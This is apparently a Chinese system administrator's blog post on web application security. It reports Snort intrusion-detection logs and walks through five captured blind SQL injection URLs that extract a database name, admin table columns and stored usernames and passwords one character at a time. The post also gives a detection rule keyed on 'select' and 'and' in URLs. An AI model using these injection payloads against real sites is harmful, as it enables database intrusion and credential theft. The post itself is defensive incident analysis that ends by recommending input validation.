系统运维和程序开发各自的独立性在安全考量方面是一个需要认真对待的问题,目前脚本人员注重的是项目开发的时效和运行之流畅,基本实现程序设计的既定流程便完了,对于程序上线后面临的安全问题了解较少认识不深,所以在开发过程中,一切以程序实现为目的,该严格定义的变量便宽松定义,该认真校验的函数数据等也没有严格判断,这样的产品在完成基本应用测试上线后,留下了相当多的漏洞,有些甚至是致命的。
同时,包括在数据库初始设计中,严重影响效率的结构规划、字段定义等也马虎而过,如该使用number的使用varchar,该使用定长的使用变长,以致产品上线后面临大量用户处理时效率低下。当然,这并在所说安全范围内,在此不做详述。
应该说,系统和程序所注重的安全性在两个层面,但是却又紧密相关。web程序的安全首先要保证脚本设计的严密性,避免因为脚本漏洞导致用户可以使用漏洞获取web程序的管理权限,以及修改数据库数据,包括未验证管理页面、文件上传漏洞和sql注入等。
而系统做要解决的安全性相对靠后,主要是保证系统及应用服务自身的健壮性,避免由于这些软件的漏洞导致的服务停摆和系统权限盗窃,同时,系统安全在设计上也要作为程序安全的最后保障,即使脚本漏洞丢失应用程序权限,也要尽量限制非法用户的系统层面操作,比如系统脚本执行、其他攻击跳板、系统文件日志文件操作等等,减小安全事故的影响。
说说这几天的事儿,snort+base系统搭建之后一直在调试规则文件,已经运行了几个星期了,从入侵检测系统来看,面临的安全问题相当严重,每天都有大量的试探、扫描、入侵行为,基本上都是sql-inject的方式。
来看看一个真实的例子。
这是前几天建立的一个规则,url中包括select、%20and%20 字符的作为alert记录下来,通过分析alert日志可以看到实例中的一个sql-inject的过程。
more.php?id=1 and (select ascii(substr(database(),2,1)) )<=256 and 1=1
第一步,它通过select database()来一个个获取数据库名中的字符,因为我们数据库名是4个字符,很快可以得到。
more.php?id=1 and (select length(cast(count(*) as char)) from information_schema.columns where table_name=0x61646d696e and table_schema=0x63737879 limit 1)<=32 and 1=1
第二步,通过获得的数据库名,在得到表名之后(也是利用前一步方式)获取admin表的字段数量
more.php?id=1 and (select ascii(substr(column_name,1,1)) from (select * from (select * from information_schema.columns where table_name=0x61646d696e and table_schema=0x63737879 order by 1 limit 0,1) t order by 1 desc)t limit 1)>108 and 1=1
第三步,通过数据库和表名在mysql系统表里探测字段名称
more.php?id=1 and (select ascii(substr(user_pwd,3,1)) from (select * from (select * from admin where 1=1 order by 1 limit 2,1) t order by 1 desc)t limit 1)>56 and 1=1
第四步,得到了字段名user_pwd后,仍用每字符ascii吗的方式探测字段内容
more.php?id=1 and (select ascii(substr(user_name,4,1)) from (select * from (select * from admin where 1=1 order by 1 limit 2,1) t order by 1 desc)t limit 1)>128 and 1=1
第五步,同上,探测user_name的字段内容
通过上面的几个步骤基本可以拿到应用程序中的账号密码,然后试图进入管理界面后通过upload shell等方式进一步得到系统权限。
查了下来源IP:218.64.17.xxx,一台web服务器但是也存在严重的sql-inject漏洞,而且首页也被内嵌了iframe代码,估计是一个跳板。
其实解决这样的sql-inject问题比较简单,在脚本中对get变量,用效验函数进行判断后抛出错误即可。但是这却反应了脚本开发过程中的严谨性的问题,毕竟这样的方式并不是某一点,而是一种习惯。
下次继续。。。